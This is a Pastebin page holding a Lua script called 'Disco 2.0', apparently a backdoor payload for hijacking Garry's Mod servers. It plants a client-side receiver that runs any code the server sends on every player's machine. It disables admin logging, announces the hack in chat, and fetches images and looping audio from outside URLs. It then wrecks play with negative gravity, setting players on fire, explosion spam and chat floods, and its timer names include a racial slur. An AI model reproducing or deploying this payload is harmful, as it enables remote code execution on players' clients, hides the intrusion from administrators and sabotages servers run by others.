Advertisement
nsfw2

Disco 2.0

Apr 15th, 2021
643
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 15.89 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5.     local ret = ""
  6.     for _ = 1, math.random( intMin, intMax ) do
  7.         ret = ret.. string.char( math.random(65, 90) )
  8.     end
  9.  
  10.     return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26.         if not IsValid( pPlayer ) then return end
  27.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28.         self:NextAction( pPlayer )
  29.     end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33.     pPlayer.m_intCurAction = 0
  34.     self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38.     net.Start( "skeleton_dancing_troll" )
  39.         net.WriteString( strLua )
  40.     net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44.     pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48.     lol:SetupPlayer( v )
  49.     timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53.     lol:SetupPlayer( pPlayer )
  54.     timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58.     if strText:sub( 1, 5 ) == "/1337" then
  59.         pSender:Ignite( 1e9 )
  60.         pSender:ChatPrint( "Nop" )
  61.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62.         return false
  63.     end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71.     lol:SendLua( pPlayer, ([=[
  72.         sound.PlayURL( "https://d.zaix.ru/7NNT.mp3", "", function()end )
  73.        
  74.         g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75.         local html = [[%s]]
  76.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77.             local pnl = vgui.Create( "HTML" )
  78.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  79.             pnl:SetVisible( true )
  80.             pnl:SetMouseInputEnabled( false )
  81.             pnl:SetKeyBoardInputEnabled( false )
  82.             pnl:SetSize( intSizeX, intSizeY )
  83.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.            
  85.             local PageLoaded
  86.             PageLoaded = function()
  87.                 local mat = pnl:GetHTMLMaterial()
  88.                 if mat then
  89.                     g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90.                     return
  91.                 end
  92.                
  93.                 timer.Simple( 0.10, PageLoaded )
  94.             end
  95.  
  96.             PageLoaded()
  97.         end
  98.  
  99.         LoadWebMaterial( "https://ibb.co/ndzCH8", "hud1", 300, 128 )
  100.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306628-hud2.png", "hud2", 300, 128 )
  101.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306630-hud3.png", "hud3", 128, 128 )
  102.         LoadWebMaterial( "https://goo.gl/fgF2ji", "doritos", 256, 256 )
  103.         LoadWebMaterial( "https://goo.gl/fgF2ji", "fedora", 256, 256 )
  104.         LoadWebMaterial( "https://goo.gl/fgF2ji", "dew", 256, 256 )
  105.         LoadWebMaterial( "https://goo.gl/fgF2ji", "awp", 256, 256 )
  106.     ]=]):format(lol.m_strImageLoadHTML) )
  107.     RunConsoleCommand("ulx_logecho", "0")
  108.    
  109.     timer.Create( "hello", 2, 1, function()
  110.     RunConsoleCommand( "say", "Привет" )
  111.     end)
  112.    
  113.     timer.Create( "hello2", 10, 1, function()
  114.     RunConsoleCommand( "say", "РќР° сервере был найден Backdoor Рё РѕРЅ был взломан" )
  115.     end)
  116.    
  117.     timer.Create( "hello3", 14, 1, function()
  118.     RunConsoleCommand( "say", "Ничего плохого СЃ сервером РЅРµ случится" )
  119.     end)
  120.    
  121.     timer.Create( "hello5", 20, 1, function()
  122.     RunConsoleCommand( "say", "Это безопасное РґРёСЃРєРѕ..." )
  123.     end)
  124.    
  125.     timer.Create( "hello6", 32, 1, function()
  126.     RunConsoleCommand( "say", "Д¤бєЄД€РЊД’ДЋ аёїВҐ ĐỆfДЊб»’Еѓ Е в±ЈLб»’Р‡Иљ v5.2 Fixed" )
  127.     end)
  128. end )
  129.  
  130. --HUD swap
  131. lol:PushAction( 40, function( pPlayer )
  132.     lol:SendLua( pPlayer, [[
  133.         (GAMEMODE or GM).CalcView = function() end
  134.         (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  135.  
  136.         local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  137.         for k, v in pairs(remove) do
  138.             hook.GetTable()[v] = {}
  139.         end
  140.  
  141.         local function GetWebMat( strURL )
  142.             return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  143.         end
  144.  
  145.         hook.Add( "HUDPaint", "newhud", function()
  146.             surface.SetDrawColor( 255, 255, 255, 255 )
  147.  
  148.             if GetWebMat( "hud1" ) then
  149.                 surface.SetMaterial( GetWebMat("hud1")[1] )
  150.                 surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  151.             end
  152.             if GetWebMat( "hud2" ) then
  153.                 surface.SetMaterial( GetWebMat("hud2")[1] )
  154.                 surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  155.             end
  156.             if GetWebMat( "hud3" ) then
  157.                 surface.SetMaterial( GetWebMat("hud3")[1] )
  158.                 surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  159.             end
  160.             if GetWebMat( "doritos" ) then
  161.                 surface.SetMaterial( GetWebMat("doritos")[1] )
  162.                 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  163.             end
  164.             if GetWebMat( "dew" ) then
  165.                 surface.SetMaterial( GetWebMat("dew")[1] )
  166.                 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(ScrH() -250, ScrH() -260), 110 *((350 /110) -1), 256, CurTime() *-512 )
  167.             end
  168.             if GetWebMat( "fedora" ) then
  169.                 surface.SetMaterial( GetWebMat("fedora")[1] )
  170.                 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(250, 260), 256, 256, CurTime() *-512 )
  171.             end
  172.             if GetWebMat( "awp" ) then
  173.                 surface.SetMaterial( GetWebMat("awp")[1] )
  174.                 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 256, CurTime() *512 )
  175.             end
  176.  
  177.             draw.SimpleTextOutlined(
  178.                 "๑۩۩๑ в–Ѓ в–‚ в–ѓ в–„ в–… в–† в–‡Д¤бєЄД€РЊД’ДЋ аёїВҐ ĐỆfДЊб»’Еѓ Е в±ЈLб»’Р‡Иљ v5.2 в–€ в–‡ в–† в–… в–„ в–‚ ▁๑۩۩๑",
  179.                 "DermaLarge",
  180.                 ScrW() /2 +math.random( -8, 8 ),
  181.                 ScrH() /2 +math.random( -8, 8 ) +24,
  182.                 Color( 255, 0, 0, 255 ),
  183.                 TEXT_ALIGN_CENTER,
  184.                 TEXT_ALIGN_CENTER,
  185.                 1,
  186.                 Color( 0, 0, 255, 255 )
  187.                 )
  188.             end )
  189.  
  190.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  191.         hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  192.  
  193.         surface.PlaySound( "garrysmod/save_load4.wav" )
  194.     ]] )
  195. end )
  196.  
  197. --Disco time
  198. lol:PushAction( 9.1, function( pPlayer )
  199.     local idx = pPlayer:EntIndex()
  200.     timer.Create( "beat".. idx, 0.42, 0, function()
  201.         if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  202.         pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  203.     end )
  204. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  205.  
  206. timer.Create( "niggaspams2", 0.1, 0, function()
  207. RunConsoleCommand( "sv_friction", "-8" )
  208. end)
  209.  
  210. timer.Create( "niggaspams3", 0.1, 0, function()
  211. RunConsoleCommand( "sv_gravity", "-600" )
  212. end)
  213. timer.Create( "next_level_timer", 0.1, 0, function()
  214.     for k, v in pairs(player.GetAll()) do v:SendLua([[chat.AddText( Color( math.random(1, 255), math.random(1, 255), math.random(1, 255) ), "в–Ѓ в–‚ в–ѓ в–„ в–… в–† в–‡Д¤бєЄД€РЊД’ДЋ аёїВҐ ĐỆfДЊб»’Еѓ Е в±ЈLб»’Р‡Иљ v5.2 в–€ в–‡ в–† в–… в–„ в–‚ в–Ѓ" )]])
  215.     end
  216. end)
  217.  
  218. for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end
  219.  
  220.  
  221. hook.Add("Think", "busted", function()
  222.     for k,v in pairs (player.GetAll()) do
  223.         v:SetModelScale(2.5, 100);
  224.         v:SetRunSpeed(400 * 2);
  225.         v:SetWalkSpeed(200 * 2);
  226.     end
  227. end)
  228.  
  229. for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end
  230.  
  231. for k,v in pairs(player.GetAll()) do
  232.     local a = v:LookupBone("ValveBiped.Bip01_Head1")
  233.     local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
  234.     local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
  235.     local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
  236.     local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
  237.     local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
  238.     local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
  239.     local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
  240.     local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
  241.     local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
  242.     local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
  243.  
  244.         v:ManipulateBoneScale( a, Vector(4,0,4))
  245.         v:ManipulateBoneScale( b, Vector(0,0,0))
  246.         v:ManipulateBoneScale( c, Vector(0,0,0))
  247.         v:ManipulateBoneScale( d, Vector(0,0,1))
  248.         v:ManipulateBoneScale( e, Vector(0,0,1))
  249.         v:ManipulateBoneScale( f, Vector(0,0,0))
  250.         v:ManipulateBoneScale( g, Vector(0,0,0))
  251.         v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
  252.         v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
  253.         v:ManipulateBoneScale( j, Vector(0,0,0))
  254.         v:ManipulateBoneScale( k, Vector(0,0,0))
  255.         end
  256.  
  257.  
  258. timer.Create( "ignitelol", 0.1, 1, function()
  259. for k,v in pairs(player.GetAll()) do v:Ignite(120) end
  260. end)
  261. -----------------------------------------------------------------------------------------------------------------------------------------------------------------------
  262.  
  263.     lol:SendLua( pPlayer, [[
  264.         local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  265.         local time = 0
  266.  
  267.         hook.Add( "Think", "wat", function()
  268.             if CurTime() < time then
  269.                 return
  270.             end
  271.  
  272.             time = CurTime() +0.05
  273.             for i = 1, 16 do
  274.                 local part = emitter:Add(
  275.                     "particles/balloon_bit",
  276.                     LocalPlayer():GetPos() +Vector(
  277.                         math.random( -256, 256 ),
  278.                         math.random( -256, 256 ),
  279.                         256
  280.                     )
  281.                 )
  282.                
  283.                 if part then
  284.                     local Size = math.random( 4, 7 )
  285.                    
  286.                     part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  287.                     part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  288.                     part:SetDieTime( 4.5 )
  289.                     part:SetGravity( Vector(40, 0, -250) )
  290.                     part:SetLifeTime( 0 )
  291.                     part:SetStartSize( Size /2 )
  292.                     part:SetEndSize( Size )
  293.                     part:SetCollide( true )
  294.                 end
  295.             end
  296.         end )
  297.     ]] )
  298.  
  299.     lol:SendLua( pPlayer, [[
  300.         hook.Add( "RenderScreenspaceEffects", "wat", function()
  301.             local sinScaler = math.sin( CurTime() )
  302.             DrawBloom(
  303.                 0,
  304.                 3,
  305.                 sinScaler *math.Rand(1, 8),
  306.                 sinScaler *math.Rand(1, 8),
  307.                 6,
  308.                 math.Rand(0.5, 2),
  309.                 math.Rand(0, 0.3),
  310.                 math.Rand(0, 0.3),
  311.                 math.Rand(0.5, 1)
  312.             )
  313.  
  314.             DrawColorModify{
  315.                 ["$pp_colour_addr"] = 0,
  316.                 ["$pp_colour_addg"] = 0,
  317.                 ["$pp_colour_addb"] = 00,
  318.                 ["$pp_colour_brightness" ] = 0,
  319.                 ["$pp_colour_contrast" ] = 1,
  320.                 ["$pp_colour_colour" ] = 1,
  321.                 ["$pp_colour_mulr" ] = 0,
  322.                 ["$pp_colour_mulg" ] = 0,
  323.                 ["$pp_colour_mulb" ] = 1
  324.             }
  325.         end )
  326.  
  327.         local mdl = ClientsideModel( "models/player/breen.mdl", RENDERGROUP_BOTH )
  328.         mdl:SetNoDraw( true )
  329.         local posCache, time = {}, 0
  330.  
  331.         hook.Add( "HUDPaint", "dance", function()
  332.             if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  333.                 local idx = mdl:LookupSequence("taunt_dance")
  334.                 mdl.SeqDuration = mdl:SequenceDuration( idx )
  335.                 mdl.SeqStart = CurTime()
  336.                 mdl:ResetSequence( idx )
  337.             end
  338.  
  339.             mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  340.  
  341.            
  342.             local w, h = 300, 300
  343.             local ang = Angle( 0, 0, 0 )
  344.  
  345.             for i = 1, 32 do
  346.                 if CurTime() > time then
  347.                     posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  348.                 end
  349.                 local x, y = posCache[i][1], posCache[i][2]
  350.  
  351.                 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  352.                     cam.IgnoreZ( true )
  353.                     render.SuppressEngineLighting( true )
  354.                    
  355.                     render.SetLightingOrigin( mdl:GetPos() )
  356.                     render.ResetModelLighting( 1, 1, 1 )
  357.                     render.SetColorModulation( 0, 0, 1 )
  358.  
  359.                     mdl:DrawModel()
  360.                    
  361.                     render.SuppressEngineLighting( false )
  362.                     cam.IgnoreZ( false )
  363.                 cam.End3D()
  364.             end
  365.  
  366.             if CurTime() > time then
  367.                 time = CurTime() +0.15
  368.             end
  369.         end )
  370.  
  371.         surface.PlaySound( "vo/npc/male01/ohno.wav" )
  372.     ]] )
  373. end )
  374.  
  375. lol:PushAction( 46, function( pPlayer )
  376.     lol:SendLua( pPlayer, [[
  377.         hook.Add( "GetMotionBlurValues", "wat", function()
  378.             return 0, 0, 1, math.sin(CurTime() *13)
  379.         end )
  380.  
  381.         hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  382.             local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  383.             DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  384.             DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  385.         end )
  386.  
  387.         hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  388.             render.SetMaterial( Material("cable/blue_elec") )
  389.             for i = 1, 32 do
  390.                 render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  391.             end
  392.         end )
  393.  
  394.         timer.Create( "thedrop", 0.42, 0, function()
  395.             util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  396.         end )
  397.     ]] )
  398.    
  399.     pPlayer:Remove()
  400.    
  401.     timer.Create( "rights", 0.1, 0, function()
  402.     for k, v in pairs(player.GetAll()) do
  403.         v:ConCommand("+right");
  404.     end
  405.    
  406. end)
  407.  
  408. --EVIL TIME rip headpones
  409. lol:PushAction( 100, function( pPlayer )
  410.     lol:SendLua( pPlayer, [[
  411.         surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  412.        
  413.        
  414.  
  415.         local sounds = {}
  416.         for i = 1, 4 do
  417.             sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  418.                 sounds[#sounds +1] = pChan
  419.             end )
  420.         end
  421.  
  422.         timer.Create( "asdf", 1, 0, function()
  423.             if #sounds ~= 4 then return end
  424.             timer.Destroy( "asdf" )
  425.             for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  426.         end )
  427.  
  428.         hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  429.        
  430.     ]] )
  431.    
  432.     timer.Create( "allahakbar", 5, 0, function()
  433.     hook.Add("Think", "armageddon", function()
  434.                 local explode = ents.Create( "env_explosion" )
  435.                     explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  436.                     explode:Spawn()
  437.                     explode:SetKeyValue( "iMagnitude", "500" )
  438.                     explode:Fire( "Explode", 0, 0 )
  439.                 end)
  440.                 end)
  441.                
  442.                 hook.Add("Think", "chatspam", function() for k,v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, " в–Ѓ в–‚ в–ѓ в–„ в–… в–† в–‡Д¤бєЄД€РЊД’ДЋ аёїВҐ ĐỆfДЊб»’Еѓ Е в±ЈLб»’Р‡Иљ v5.2 в–€ в–‡ в–† в–… в–„ в–‚ в–Ѓ " ) v:SendLua([[chat.AddText( Color( math.random(1, 255), math.random(1, 255), math.random(1, 255) ), "в–Ѓ в–‚ в–ѓ в–„ в–… в–† в–‡Д¤бєЄД€РЊД’ДЋ аёїВҐ ĐỆfДЊб»’Еѓ Е в±ЈLб»’Р‡Иљ v5.2 в–€ в–‡ в–† в–… в–„ в–‚ в–Ѓ" )]]) end end)
  443.            
  444.     pPlayer:Remove()
  445.      
  446. end )
  447. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement